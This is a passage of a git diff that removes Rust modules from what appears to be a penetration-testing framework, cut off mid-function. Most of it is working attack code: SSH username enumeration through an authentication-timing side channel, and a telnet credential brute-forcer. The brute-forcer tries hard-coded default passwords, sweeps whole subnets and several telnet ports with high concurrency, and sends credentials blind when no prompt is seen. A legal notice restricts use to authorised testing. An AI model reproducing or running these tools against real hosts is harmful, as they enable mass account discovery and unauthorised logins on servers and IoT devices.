trimmed.contains(']') { - trimmed.to_string() - } else if trimmed.contains(':') && !trimmed.contains('.') { - format!("[{}]", trimmed) - } else { - trimmed.to_string() - } -} - -/// Time a single authentication attempt -fn time_auth_attempt(host: &str, port: u16, username: &str, timeout_secs: u64) -> Option { - let addr = format!("{}:{}", host, port); - - let start = Instant::now(); - - let tcp = match TcpStream::connect_timeout( - &addr.parse().ok()?, - Duration::from_secs(timeout_secs), - ) { - Ok(s) => s, - Err(_) => return None, - }; - - let _ = tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs))); - let _ = tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs))); - - let mut sess = match Session::new() { - Ok(s) => s, - Err(_) => return None, - }; - - sess.set_tcp_stream(tcp); - if sess.handshake().is_err() { - return None; - } - - // Try authentication with invalid password - let invalid_password = format!("invalid_{}_{}", std::process::id(), start.elapsed().as_nanos()); - let _ = sess.userauth_password(username, &invalid_password); - - let elapsed = start.elapsed().as_secs_f64(); - Some(elapsed) -} - -/// Sample authentication timing for a username -fn sample_auth_timing(host: &str, port: u16, username: &str, samples: usize, timeout_secs: u64) -> Option { - let mut times = Vec::new(); - - for _ in 0..samples { - if let Some(t) = time_auth_attempt(host, port, username, timeout_secs) { - times.push(t); - } - // Small delay between samples - std::thread::sleep(Duration::from_millis(100)); - } - - if times.is_empty() { - return None; - } - - // Return average - Some(times.iter().sum::() / times.len() as f64) -} - -/// Load usernames from file -fn load_usernames(path: &str) -> Result> { - let file = File::open(path)?; - let reader = BufReader::new(file); - let usernames: Vec = reader - .lines() - .filter_map(|l| l.ok()) - .map(|l| l.trim().to_string()) - .filter(|l| !l.is_empty() && !l.starts_with('#')) - .collect(); - Ok(usernames) -} - -/// Enumerate valid users via timing attack -pub async fn enumerate_users( - host: &str, - port: u16, - usernames: &[String], - samples: usize, - timeout_secs: u64, - threshold: f64, -) -> Vec { - println!("{}", format!("[*] Enumerating users on {}:{} (timing attack)", host, port).cyan()); - println!("{}", format!("[*] Testing {} usernames with {} samples each", usernames.len(), samples).cyan()); - println!("{}", format!("[*] Timing threshold: {:.3}s", threshold).cyan()); - println!(); - - // Establish baseline with known-invalid user - let baseline_user = format!("nonexistent_{}_{}", std::process::id(), Instant::now().elapsed().as_nanos()); - println!("{}", "[*] Establishing baseline timing...".cyan()); - - let baseline = match sample_auth_timing(host, port, &baseline_user, samples, timeout_secs) { - Some(t) => { - println!("{}", format!("[*] Baseline timing: {:.3}s", t).cyan()); - t - } - None => { - println!("{}", "[-] Failed to establish baseline - cannot reach target".red()); - return Vec::new(); - } - }; - - println!(); - println!("{}", "[*] Testing usernames...".cyan()); - - let mut valid_users = Vec::new(); - - for (i, user) in usernames.iter().enumerate() { - print!("\r[{}/{}] Testing: {} ", i + 1, usernames.len(), user); - let _ = std::io::Write::flush(&mut std::io::stdout()); - - match sample_auth_timing(host, port, user, samples, timeout_secs) { - Some(t) => { - let diff = t - baseline; - if diff.abs() > threshold { - println!("\r{}", format!("[+] Valid user: {} (timing diff: {:+.3}s)", user, diff).green()); - valid_users.push(user.clone()); - } - } - None => { - // Connection failed, skip - } - } - } - - println!(); - println!("{}", "=== Results ===".cyan().bold()); - if valid_users.is_empty() { - println!("{}", "[-] No valid users found via timing attack".yellow()); - println!("{}", "[*] Note: This technique may not work on all SSH configurations".dimmed()); - } else { - println!("{}", format!("[+] Found {} valid user(s):", valid_users.len()).green()); - for user in &valid_users { - println!(" - {}", user.green()); - } - } - - valid_users -} - -/// Prompt helper -fn prompt(message: &str) -> Result { - print!("{}: ", message); - std::io::stdout() - .flush() - .context("Failed to flush stdout")?; - let mut input = String::new(); - std::io::stdin() - .read_line(&mut input) - .context("Failed to read input")?; - Ok(input.trim().to_string()) -} - -fn prompt_default(message: &str, default: &str) -> Result { - print!("{} [{}]: ", message, default); - std::io::stdout() - .flush() - .context("Failed to flush stdout")?; - let mut input = String::new(); - std::io::stdin() - .read_line(&mut input) - .context("Failed to read input")?; - let trimmed = input.trim(); - if trimmed.is_empty() { - Ok(default.to_string()) - } else { - Ok(trimmed.to_string()) - } -} - -fn prompt_yes_no(message: &str, default: bool) -> Result { - let hint = if default { "Y/n" } else { "y/N" }; - print!("{} [{}]: ", message, hint); - std::io::stdout() - .flush() - .context("Failed to flush stdout")?; - let mut input = String::new(); - std::io::stdin() - .read_line(&mut input) - .context("Failed to read input")?; - let trimmed = input.trim().to_lowercase(); - match trimmed.as_str() { - "" => Ok(default), - "y" | "yes" => Ok(true), - "n" | "no" => Ok(false), - _ => Ok(default), - } -} - -/// Default usernames to test -const DEFAULT_USERNAMES: &[&str] = &[ - "root", "admin", "user", "test", "guest", - "ubuntu", "www-data", "daemon", "bin", "sys", - "nobody", "mysql", "postgres", "oracle", "ftp", - "ssh", "apache", "nginx", "tomcat", "redis", -]; - -/// Main entry point -pub async fn run(target: &str) -> Result<()> { - display_banner(); - - let host = normalize_target(target); - println!("{}", format!("[*] Target: {}", host).cyan()); - - // Get parameters - let port: u16 = prompt_port("SSH Port", DEFAULT_SSH_PORT)?; - let samples: usize = prompt_default("Samples per username", "3")?.parse().unwrap_or(DEFAULT_SAMPLES); - let timeout: u64 = prompt_default("Connection timeout (seconds)", "10")?.parse().unwrap_or(DEFAULT_TIMEOUT_SECS); - let threshold: f64 = prompt_default("Timing threshold (seconds)", "0.3")?.parse().unwrap_or(TIMING_THRESHOLD); - - // Get usernames - let mut usernames: Vec = Vec::new(); - - if prompt_yes_no("Load usernames from file?", false)? { - let file_path = prompt("Username file path")?; - if !file_path.is_empty() { - match load_usernames(&file_path) { - Ok(loaded) => { - println!("{}", format!("[*] Loaded {} usernames from file", loaded.len()).cyan()); - usernames.extend(loaded); - } - Err(e) => { - println!("{}", format!("[-] Failed to load file: {}", e).red()); - } - } - } - } - - // Add default usernames? - if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true)? { - for user in DEFAULT_USERNAMES { - if !usernames.contains(&user.to_string()) { - usernames.push(user.to_string()); - } - } - } - - if usernames.is_empty() { - return Err(anyhow!("No usernames to test")); - } - - println!(); - println!("{}", format!("[*] Will test {} usernames", usernames.len()).cyan()); - println!(); - - // Run enumeration - let valid_users = enumerate_users(&host, port, &usernames, samples, timeout, threshold).await; - - // Save results? - if !valid_users.is_empty() && prompt_yes_no("Save valid users to file?", true)? { - let output_path = prompt_default("Output file", "valid_ssh_users.txt")?; - let mut file = File::create(&output_path)?; - writeln!(file, "# Valid SSH users for {}:{}", host, port)?; - for user in &valid_users { - writeln!(file, "{}", user)?; - } - println!("{}", format!("[+] Saved to: {}", output_path).green()); - } - - println!(); - println!("{}", "[*] SSH user enumeration complete".green()); - - Ok(()) -} - diff --git a/src/modules/creds/generic/telnet_bruteforce.rs b/src/modules/creds/generic/telnet_bruteforce.rs deleted file mode 100644 index 0bd0afb..0000000 --- a/src/modules/creds/generic/telnet_bruteforce.rs +++ /dev/null @@ -1,3105 +0,0 @@ -// src/modules/creds/generic/telnet_bruteforce.rs - PART 1/4 -// Comprehensive Telnet Security Testing Module -// -// ⚠️ LEGAL NOTICE ⚠️ -// This tool is designed for AUTHORIZED security testing ONLY. -// Unauthorized access to computer systems is illegal under: -// - Computer Fraud and Abuse Act (CFAA) - USA -// - Computer Misuse Act - UK -// - Similar laws in other jurisdictions -// -// Only use this tool on systems you own or have explicit written permission to test. - -use anyhow::{anyhow, Context, Result}; -use colored::*; -use rand::Rng; -// use regex::Regex; // Unused -use serde::{Deserialize, Serialize}; -use std::collections::{HashSet, HashMap}; -use std::net::SocketAddr; // Removed ToSocketAddrs -use std::path::Path; -use std::sync::{ - atomic::{AtomicBool, AtomicU64, Ordering}, - Arc, -}; -// use std::time::{SystemTime, UNIX_EPOCH}; // Unused -use std::time::{Duration, Instant}; -use tokio::fs::{File, OpenOptions}; -use tokio::io::{AsyncBufReadExt, AsyncReadExt, AsyncWriteExt, BufReader}; -use tokio::net::{TcpStream, lookup_host}; // Added lookup_host -use tokio::sync::{mpsc, Mutex, Semaphore}; -use tokio::time::{sleep, timeout}; -// use once_cell::sync::Lazy; // Unused - -use crate::utils::{ - prompt_required, prompt_default, prompt_yes_no, - prompt_existing_file, prompt_int_range, prompt_port -}; - -// ============================================================ -// CONSTANTS -// ============================================================ - -const MAX_MEMORY_SIZE: u64 = 500 * 1024 * 1024; -const CHANNEL_BUFFER_MULTIPLIER: usize = 16; -const PROGRESS_INTERVAL_SECS: u64 = 3; -const BUFFER_SIZE: usize = 4096; -const RESPONSE_BUFFER_CAPACITY: usize = 2048; -const DEFAULT_TELNET_PORTS: &[u16] = &[23, 2323, 23231]; -const TASK_WATCHDOG_TIMEOUT_SECS: u64 = 20; - -const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[ - ("root", "root"), - ("admin", "admin"), - ("user", "user"), - ("guest", "guest"), - ("root", "123456"), - ("admin", "123456"), - ("root", "password"), - ("admin", "password"), - ("root", ""), - ("admin", ""), - ("telnet", "telnet"), - ("support", "support"), - ("tech", "tech"), - ("test", "test"), - ("oracle", "oracle"), -]; - -// ============================================================ -// CONFIGURATION STRUCTURES -// ============================================================ - -#[derive(Clone, Serialize, Deserialize)] -pub struct TelnetBruteforceConfig { - #[serde(skip)] - pub target: String, - pub port: u16, - pub username_wordlist: String, - pub password_wordlist: Option, - pub threads: usize, - pub delay_ms: u64, - pub connection_timeout: u64, - pub banner_read_timeout: u64, - pub login_prompt_timeout: u64, - pub password_prompt_timeout: u64, - pub auth_response_timeout: u64, - pub command_timeout: u64, - pub write_timeout: u64, - pub stop_on_success: bool, - pub verbose: bool, - pub full_combo: bool, - pub raw_bruteforce: bool, - pub raw_charset: String, - pub raw_min_length: usize, - pub raw_max_length: usize, - pub output_file: String, - pub append_mode: bool, - pub pre_validate: bool, - pub retry_on_error: bool, - pub max_retries: usize, - pub login_prompts: Vec, - pub password_prompts: Vec, - pub success_indicators: Vec, - pub failure_indicators: Vec, - - #[serde(skip)] - pub login_prompts_lower: Vec, - #[serde(skip)] - pub password_prompts_lower: Vec, - #[serde(skip)] - pub success_indicators_lower: Vec, - #[serde(skip)] - pub failure_indicators_lower: Vec, -} - -#[derive(Clone)] -pub struct BatchScanConfig { - pub targets: Vec, - pub ports: Vec, - pub credentials: Vec<(String, String)>, - pub timeout: Duration, - pub max_concurrent: usize, - pub output_file: String, - pub verbose: bool, -} - -impl Default for BatchScanConfig { - fn default() -> Self { - Self { - targets: Vec::new(), - ports: DEFAULT_TELNET_PORTS.to_vec(), - credentials: DEFAULT_CREDENTIALS - .iter() - .map(|(u, p)| (u.to_string(), p.to_string())) - .collect(), - timeout: Duration::from_secs(3), - max_concurrent: 50, - output_file: "telnet_scan_results.txt".to_string(), - verbose: false, - } - } -} - -#[derive(Debug, Clone)] -pub struct ScanResult { - pub ip: String, - pub port: u16, - pub banner: String, - pub credentials: Option<(String, String)>, - pub timestamp: String, -} - -impl TelnetBruteforceConfig { - #[inline] - pub fn preprocess_prompts(&mut self) { - self.login_prompts_lower = self.login_prompts.iter().map(|s| s.to_lowercase()).collect(); - self.password_prompts_lower = self.password_prompts.iter().map(|s| s.to_lowercase()).collect(); - self.success_indicators_lower = self.success_indicators.iter().map(|s| s.to_lowercase()).collect(); - self.failure_indicators_lower = self.failure_indicators.iter().map(|s| s.to_lowercase()).collect(); - } -} - -// ============================================================ -// STATISTICS TRACKING -// ============================================================ - -pub struct Statistics { - total_attempts: AtomicU64, - successful_attempts: AtomicU64, - failed_attempts: AtomicU64, - error_attempts: AtomicU64, - retried_attempts: AtomicU64, - timeouts: AtomicU64, - broken_pipes: AtomicU64, - hung_tasks: AtomicU64, - retries_queued: AtomicU64, - start_time: Instant, - unique_errors: Mutex>, -} - -impl Statistics { - #[inline] - pub fn new() -> Self { - Self { - total_attempts: AtomicU64::new(0), - successful_attempts: AtomicU64::new(0), - failed_attempts: AtomicU64::new(0), - error_attempts: AtomicU64::new(0), - retried_attempts: AtomicU64::new(0), - timeouts: AtomicU64::new(0), - broken_pipes: AtomicU64::new(0), - hung_tasks: AtomicU64::new(0), - retries_queued: AtomicU64::new(0), - start_time: Instant::now(), - unique_errors: Mutex::new(HashMap::new()), - } - } - - #[inline] - pub fn record_attempt(&self, success: bool, error: bool) { - self.total_attempts.fetch_add(1, Ordering::Relaxed); - if error { - self.error_attempts.fetch_add(1, Ordering::Relaxed); - } else if success { - self.successful_attempts.fetch_add(1, Ordering::Relaxed); - } else { - self.failed_attempts.fetch_add(1, Ordering::Relaxed); - } - } - - #[inline] - pub fn record_retry(&self) { - self.retried_attempts.fetch_add(1, Ordering::Relaxed); - } - - #[inline] - pub fn record_timeout(&self) { - self.timeouts.fetch_add(1, Ordering::Relaxed); - } - - #[inline] - pub fn record_broken_pipe(&self) { - self.broken_pipes.fetch_add(1, Ordering::Relaxed); - } - - #[inline] - pub fn record_hung_task(&self) { - self.hung_tasks.fetch_add(1, Ordering::Relaxed); - } - - #[inline] - pub fn record_retry_queued(&self) { - self.retries_queued.fetch_add(1, Ordering::Relaxed); - } - - pub async fn record_error_kind(&self, key: &str) { - let mut guard = self.unique_errors.lock().await; - *guard.entry(key.to_string()).or_insert(0) += 1; - } - - pub fn print_progress(&self) { - let total = self.total_attempts.load(Ordering::Relaxed); - let success = self.successful_attempts.load(Ordering::Relaxed); - let failed = self.failed_attempts.load(Ordering::Relaxed); - let errors = self.error_attempts.load(Ordering::Relaxed); - let retries = self.retried_attempts.load(Ordering::Relaxed); - let elapsed = self.start_time.elapsed().as_secs_f64(); - let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 }; - - print!( - "\r{} {} attempts | {} OK | {} fail | {} err | {} retry | {:.1}/s ", - "[Progress]".cyan(), - total.to_string().bold(), - success.to_string().green(), - failed, - errors.to_string().red(), - retries, - rate - ); - let _ = std::io::Write::flush(&mut std::io::stdout()); - } - - pub async fn print_final(&self) { - println!(); - let total = self.total_attempts.load(Ordering::Relaxed); - let success = self.successful_attempts.load(Ordering::Relaxed); - let failed = self.failed_attempts.load(Ordering::Relaxed); - let errors = self.error_attempts.load(Ordering::Relaxed); - let retries = self.retried_attempts.load(Ordering::Relaxed); - let timeouts = self.timeouts.load(Ordering::Relaxed); - let broken = self.broken_pipes.load(Ordering::Relaxed); - let hung = self.hung_tasks.load(Ordering::Relaxed); - let queued = self.retries_queued.load(Ordering::Relaxed); - let elapsed = self.start_time.elapsed().as_secs_f64(); - let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 }; - - println!("\n{}", "[Final Statistics]".bold().cyan()); - println!(" Total attempts: {}", total.to_string().bold()); - println!(" Successful: {}", success.to_string().green().bold()); - println!(" Failed: {}", failed); - println!(" Errors: {}", errors.to_string().yellow()); - println!(" Timeouts: {}", timeouts); - println!(" Broken pipes: {}", broken); - println!(" Hung tasks: {}", hung); - println!(" Retries (done): {}", retries); - println!(" Retries (queued):{}", queued); - println!(" Time elapsed: {:.2}s", elapsed); - println!(" Average rate: {:.2} attempts/sec", rate); - if total > 0 { - let success_rate = (success as f64 / total as f64) * 100.0; - println!(" Success rate: {:.2}%", success_rate); - } - - // Print top error types (best-effort) - let guard = self.unique_errors.lock().await; - if !guard.is_empty() { - println!("\n{}", " Top error types:".bold()); - let mut items: Vec<_> = guard.iter().collect(); - items.sort_by(|a, b| b.1.cmp(a.1)); - for (key, count) in items.into_iter().take(5) { - println!(" - {}: {}", key, count); - } - } - } -} - -// ============================================================ -// MAIN ENTRY POINT -// ============================================================ - -pub async fn run(target: &str) -> Result<()> { - display_banner(); - - println!("Select operation mode:"); - println!(" 1. Single Target Bruteforce (advanced)"); - println!(" 2. Subnet Bruteforce (CIDR notation)"); - println!(" 3. Batch Scanner (multiple targets)"); - println!(" 4. Quick Default Check (single target)"); - println!(" 5. Subnet Default Check (CIDR)"); - println!(); - - let mode = prompt_required("Select mode [1-5]: ")?; - - match mode.as_str() { - "1" => run_single_target_bruteforce(target, false).await, - "2" => run_single_target_bruteforce(target, true).await, - "3" => run_batch_scanner(target).await, - "4" => run_quick_check(target, false).await, - "5" => run_quick_check(target, true).await, - _ => { - println!("[!] Invalid selection"); - Ok(()) - } - } -} - -// ============================================================ -// BASIC HONEYPOT DETECTION -// ============================================================ - -// ============================================================ -// MODE 1 & 2: SINGLE TARGET / SUBNET BRUTEFORCE -// ============================================================ - -async fn run_single_target_bruteforce(target: &str, is_subnet: bool) -> Result<()> { - println!("\n{}", if is_subnet { - "=== Subnet Bruteforce Mode ===" - } else { - "=== Single Target Bruteforce Mode ===" - }.bold().cyan()); - println!(); - - let targets = parse_single_target(target)?; - - if targets.len() > 1 { - println!("[*] Expanded to {} hosts", targets.len()); - if !prompt_yes_no("Continue with all hosts? (y/n): ", true)? { - return Ok(()); - } - } - - let target_primary = targets[0].clone(); - - let use_config = prompt_yes_no("Do you have a configuration file? (y/n): ", false)?; - - let mut config = if use_config { - println!(); - print_config_format(); - println!(); - - let config_path = prompt_existing_file("Path to configuration file: ")?; - - println!("[*] Loading configuration from '{}'...", config_path); - match load_and_validate_config(&config_path, &target_primary).await { - Ok(cfg) => { - println!("{}", "[+] Configuration loaded and validated!".green().bold()); - cfg - } - Err(e) => { - eprintln!("{}", "[!] Configuration validation failed:".red().bold()); - eprintln!(" {}", e.to_string().yellow()); - return Err(e); - } - } - } else { - build_interactive_config(&target_primary).await? - }; - - config.preprocess_prompts(); - print_config_summary(&config); - - if !prompt_yes_no("\nProceed with this configuration? (y/n): ", true)? { - println!("[*] Aborted by user."); - return Ok(()); - } - - if !use_config && prompt_yes_no("\nSave this configuration? (y/n): ", false)? { - let save_path = prompt_required("Configuration file path: ")?; - if let Err(e) = save_config(&config, &save_path).await { - eprintln!("[!] Failed to save config: {}", e); - } else { - println!("[+] Configuration saved to '{}'", save_path); - } - } - - println!(); - println!("{}", "[Starting Attack]".bold().yellow()); - println!(); - - if targets.len() > 1 { - let parallel = prompt_yes_no("Run targets in parallel? (y/n): ", false)?; - if parallel { - run_parallel_bruteforce(targets, config).await - } else { - run_sequential_bruteforce(targets, config).await - } - } else { - run_telnet_bruteforce(config).await - } -} - -async fn run_sequential_bruteforce(targets: Vec, base_config: TelnetBruteforceConfig) -> Result<()> { - for (idx, target) in targets.iter().enumerate() { - println!("\n{}", format!("=== Target {}/{}: {} ===", idx + 1, targets.len(), target).bright_cyan()); - let mut config = base_config.clone(); - config.target = target.clone(); - - if let Err(e) = run_telnet_bruteforce(config).await { - eprintln!("[!] Error with target {}: {}", target, e); - } - - if idx < targets.len() - 1 { - sleep(Duration::from_secs(1)).await; - } - } - Ok(()) -} - -async fn run_parallel_bruteforce(targets: Vec, base_config: TelnetBruteforceConfig) -> Result<()> { - let max_concurrent = prompt_threads(5)?; - let semaphore = Arc::new(Semaphore::new(max_concurrent)); - let mut tasks = Vec::new(); - - for target in targets { - let sem = semaphore.clone(); - let config = base_config.clone(); - - let task = tokio::spawn(async move { - let _permit = sem.acquire().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?; - let mut target_config = config; - target_config.target = target.clone(); - run_telnet_bruteforce(target_config).await - }); - - tasks.push(task); - } - - for task in tasks { - if let Err(e) = task.await { - eprintln!("[!] Task error: {}", e); - } - } - - Ok(()) -} - -// ============================================================ -// MODE 3: BATCH SCANNER -// ============================================================ - -async fn run_batch_scanner(target: &str) -> Result<()> { - println!("\n{}", "=== Batch Scanner Mode ===".bold().cyan()); - println!(); - - let mut config = BatchScanConfig::default(); - - if Path::new(target).exists() { - let content = tokio::fs::read_to_string(target).await?; - config.targets = parse_targets(&content)?; - } else { - config.targets = parse_targets(target)?; - } - - if config.targets.is_empty() { - return Err(anyhow!("No valid targets specified")); - } - - println!("Loaded {} target(s)", config.targets.len()); - - if prompt_yes_no("Use default ports (23, 2323, 23231)? (y/n): ", true)? { - config.ports = DEFAULT_TELNET_PORTS.to_vec(); - } else { - let ports_str = prompt_required("Enter ports (comma-separated): ")?; - config.ports = ports_str - .split(',') - .filter_map(|s| s.trim().parse().ok()) - .collect(); - } - - if prompt_yes_no("Use default credential list? (y/n): ", true)? { - config.credentials = DEFAULT_CREDENTIALS - .iter() - .map(|(u, p)| (u.to_string(), p.to_string())) - .collect(); - } else { - let cred_file = prompt_existing_file("Path to credentials file (user:pass format): ")?; - config.credentials = load_credentials_file(&cred_file).await?; - } - - config.max_concurrent = prompt_threads(50)?; - config.verbose = prompt_yes_no("Verbose output? (y/n): ", false)?; - config.output_file = prompt_required("Output file: ")?; - - println!(); - println!("Configuration:"); - println!(" Targets: {}", config.targets.len()); - println!(" Ports: {:?}", config.ports); - println!(" Credentials: {}", config.credentials.len()); - println!(" Concurrency: {}", config.max_concurrent); - println!(); - - if !prompt_yes_no("Start scan? (y/n): ", true)? { - println!("Scan cancelled"); - return Ok(()); - } - - println!(); - execute_batch_scan(config).await -} - -// ============================================================ -// MODE 4 & 5: QUICK DEFAULT CHECK -// ============================================================ - -async fn run_quick_check(target: &str, is_subnet: bool) -> Result<()> { - println!("\n{}", if is_subnet { - "=== Subnet Quick Default Check ===" - } else { - "=== Quick Default Credential Check ===" - }.bold().cyan()); - println!(); - - let targets = if is_subnet { - parse_single_target(target)? - } else if Path::new(target).exists() { - let content = tokio::fs::read_to_string(target).await?; - parse_targets(&content)? - } else { - vec![target.to_string()] - }; - - let port: u16 = prompt_port("Port", 23)?; - - let verbose = prompt_yes_no("Verbose mode? (show all attempts and details) (y/n): ", false)?; - - println!(); - println!("Testing {} target(s) on port {} with {} default credentials...", - targets.len(), port, DEFAULT_CREDENTIALS.len()); - if verbose { - println!("{}", "[*] Verbose mode enabled - showing all attempts and details".cyan()); - } - println!(); - - let mut found_any = false; - let mut results = Vec::new(); - let mut total_attempts = 0; - let mut successful_attempts = 0; - let mut failed_attempts = 0; - let mut error_attempts = 0; - - for (target_idx, target_ip) in targets.iter().enumerate() { - println!("{}", format!("[*] Testing {}:{} ({}/{})", target_ip, port, target_idx + 1, targets.len()).bold()); - if verbose { - println!(" Target: {}:{}", target_ip, port); - println!(" Testing {} default credential pairs...", DEFAULT_CREDENTIALS.len()); - } - - for (cred_idx, (username, password)) in DEFAULT_CREDENTIALS.iter().enumerate() { - total_attempts += 1; - - if verbose { - print!(" [{}/{}] Testing {}/{}... ", - cred_idx + 1, - DEFAULT_CREDENTIALS.len(), - username, - if password.is_empty() { "(blank)" } else { password }); - let _ = std::io::Write::flush(&mut std::io::stdout()); - } - - match try_telnet_login_simple(&target_ip, port, username, password, 3).await { - Ok(true) => { - successful_attempts += 1; - let result = format!("{}:{} - {}/{}", - target_ip, port, username, - if password.is_empty() { "(blank)" } else { password }); - - if verbose { - println!( - "\r [{}/{}] {} Valid: {}/{}", - cred_idx + 1, - DEFAULT_CREDENTIALS.len(), - "✓".bright_green().bold(), - username, - if password.is_empty() { "(blank)" } else { password } - ); - } else { - println!( - " {} Valid: {}/{}", - "✓".bright_green().bold(), - username, - if password.is_empty() { "(blank)" } else { password } - ); - } - results.push(result); - found_any = true; - } - Ok(false) => { - failed_attempts += 1; - if verbose { - println!("\r [{}/{}] {} Invalid: {}/{}", - cred_idx + 1, - DEFAULT_CREDENTIALS.len(), - "✗".red(), - username, - if password.is_empty() { "(blank)" } else { password }); - } - } - Err(e) => { - error_attempts += 1; - let error_type = classify_telnet_error(&e.to_string()); - if verbose { - println!("\r [{}/{}] {} Error ({}): {}", - cred_idx + 1, - DEFAULT_CREDENTIALS.len(), - "!".yellow(), - error_type, - e); - } else { - println!(" {} Error: {}", "!".yellow(), e); - } - // Don't break on error in verbose mode - continue testing - if !verbose { - break; - } - } - } - sleep(Duration::from_millis(200)).await; - } - println!(); - } - - // Print summary - if verbose { - println!("{}", "=== Quick Check Summary ===".bold().cyan()); - println!(" Total attempts: {}", total_attempts); - println!(" Successful: {}", successful_attempts.to_string().green().bold()); - println!(" Failed: {}", failed_attempts); - println!(" Errors: {}", error_attempts.to_string().yellow()); - if total_attempts > 0 { - let success_rate = (successful_attempts as f64 / total_attempts as f64) * 100.0; - println!(" Success rate: {:.1}%", success_rate); - } - println!(); - } - - if !found_any { - println!("{}", "[-] No valid credentials found".yellow()); - } else { - println!("{}", format!("[+] Found {} valid credential(s)", results.len()).green().bold()); - if verbose { - println!(" Valid credentials:"); - for result in &results { - println!(" - {}", result); - } - println!(); - } - - if prompt_yes_no("Save results to file? (y/n): ", true)? { - let output_path = prompt_required("Output file path: ")?; - save_quick_check_results(&output_path, &results).await?; - println!("[+] Results saved to '{}'", output_path); - } - } - - Ok(()) -} - -async fn save_quick_check_results(path: &str, results: &[String]) -> Result<()> { - let mut f = File::create(path).await?; - f.write_all(b"# Quick Check Results\n").await?; - f.write_all(format!("# Date: {}\n\n", chrono::Local::now()).as_bytes()).await?; - for result in results { - f.write_all(format!("{}\n", result).as_bytes()).await?; - } - f.flush().await?; - Ok(()) -} - -// src/modules/creds/generic/telnet_bruteforce.rs - PART 2/4 -// Core Login Functions and Execution Logic - -// ============================================================ -// CORE TELNET LOGIN FUNCTIONS -// ============================================================ - -#[derive(Debug, PartialEq, Clone, Copy)] -enum TelnetState { - WaitingForBanner, - WaitingForLoginPrompt, - SendingUsername, - WaitingForPasswordPrompt, - SendingPassword, - WaitingForResult, -} - -#[inline] -async fn try_telnet_login( - socket: &SocketAddr, - username: &str, - password: &str, - config: &TelnetBruteforceConfig, -) -> Result { - // Attempt 1: Standard - let (success, banner_seen) = do_telnet_login(socket, username, password, config, false).await?; - if success { - return Ok(true); - } - - // If failed and no banner seen (blind), retry blind pass only - if !banner_seen { - let (success_retry, _) = do_telnet_login(socket, username, password, config, true).await?; - if success_retry { - return Ok(true); - } - } - - Ok(false) -} - -async fn do_telnet_login( - socket: &SocketAddr, - username: &str, - password: &str, - config: &TelnetBruteforceConfig, - force_password_only: bool, -) -> Result<(bool, bool)> { - let stream = timeout( - Duration::from_secs(config.connection_timeout), - TcpStream::connect(socket), - ) - .await - .map_err(|_| anyhow!("Connection timeout"))? - .map_err(|e| { - let error_msg = format!("{}", e); - let error_type = classify_telnet_error(&error_msg); - anyhow!("{}: {}", error_type, e) - })?; - - let (reader, mut writer) = tokio::io::split(stream); - let mut reader = BufReader::with_capacity(BUFFER_SIZE, reader); - let mut buf = bytes::BytesMut::with_capacity(BUFFER_SIZE); - let mut response_after_pass = String::with_capacity(RESPONSE_BUFFER_CAPACITY); - let mut recent_buffer = String::with_capacity(2048); // Track recent output regardless of state - let mut banner_detected = false; - - let mut state = TelnetState::WaitingForBanner; - let start_time = Instant::now(); - let max_duration = Duration::from_secs(config.connection_timeout + - config.login_prompt_timeout + - config.password_prompt_timeout + - config.auth_response_timeout + 5); - - loop { - if start_time.elapsed() > max_duration { - return Err(anyhow!("Total operation timeout")); - } - - // --- READ PHASE --- - // Dynamically adjust timeout based on state - let current_timeout = match state { - TelnetState::WaitingForBanner => Duration::from_secs(config.banner_read_timeout), - TelnetState::WaitingForLoginPrompt => Duration::from_secs(config.login_prompt_timeout), - TelnetState::WaitingForPasswordPrompt => Duration::from_secs(config.password_prompt_timeout), - TelnetState::WaitingForResult => Duration::from_secs(config.auth_response_timeout), - _ => Duration::from_millis(100), // Short timeout for sending states - }; - - // If we need to read - let need_read = match state { - TelnetState::SendingUsername | TelnetState::SendingPassword => false, - _ => true - }; - - if need_read { - let buf_len_before = buf.len(); - let read_result = timeout(current_timeout, reader.read_buf(&mut buf)).await; - - match read_result { - Ok(Ok(0)) => { - // EOF handling - match state { - TelnetState::WaitingForResult => { - // If we already sent password and got EOF, maybe it's a success closed loop (rare but happens) - // or a failure closed loop. Check buffer. - if has_success_indicators(&response_after_pass) { - return Ok((true, banner_detected)); - } - // Check for clean close - match classify_eof(&response_after_pass, true, true, 1) { - EofType::CleanClose => return Ok((false, banner_detected)), // Failed auth usually closes cleanly - _ => return Ok((false, banner_detected)) - } - }, - _ => return Err(anyhow!("Unexpected EOF in state {:?}", state)) - } - } - Ok(Ok(_)) => { - // Extract new data - let new_data = if buf_len_before <= buf.len() { - buf.split_off(buf_len_before) - } else { - buf.split_off(0) - }; - - // Handle IAC - let (clean_bytes, iac_responses) = process_telnet_iac(&new_data); - - if !iac_responses.is_empty() { - let _ = timeout(Duration::from_millis(config.write_timeout), writer.write_all(&iac_responses)).await; - } - - let output = String::from_utf8_lossy(&clean_bytes).to_string(); - let clean_output = strip_ansi_escape_sequences(&output); - let lower = clean_output.to_lowercase(); - - // Append to recent buffer for prompt matching (keep size sane) - recent_buffer.push_str(&lower); - if recent_buffer.len() > 2048 { - let split_idx = recent_buffer.len() - 1024; - recent_buffer = recent_buffer[split_idx..].to_string(); - } - - // If waiting for result, accumulate - if state == TelnetState::WaitingForResult { - if response_after_pass.len() + output.len() <= RESPONSE_BUFFER_CAPACITY { - response_after_pass.push_str(&output); - } - } - } - Ok(Err(e)) => { - if is_connection_error(&e) { - return Err(anyhow!("Connection error during read: {}", e)); - } - return Err(anyhow!("Read error: {}", e)); - }, - Err(_) => { - // Timeout - // If we are waiting for result and timed out, check if we have enough info - if state == TelnetState::WaitingForResult { - // Check if we have success indicators even if timed out - if has_success_indicators(&response_after_pass) { - return Ok((true, banner_detected)); - } - // If we have failure indicators - for indicator in &config.failure_indicators_lower { - if response_after_pass.to_lowercase().contains(indicator) { - return Ok((false, banner_detected)); - } - } - // Fallback logic for timeout - return Ok((false, banner_detected)); - } - - // Timeout in Banner/Login wait -> Blind Injection? - if state == TelnetState::WaitingForBanner { - // If we timed out waiting for banner, assume no banner seen. - // Based on force_password_only, we jump state. - if force_password_only { - state = TelnetState::SendingPassword; - } else { - state = TelnetState::SendingUsername; - } - continue; - } - - if state == TelnetState::WaitingForLoginPrompt { - // similar blind injection if we timed out waiting specifically for prompt - if force_password_only { - state = TelnetState::SendingPassword; - } else { 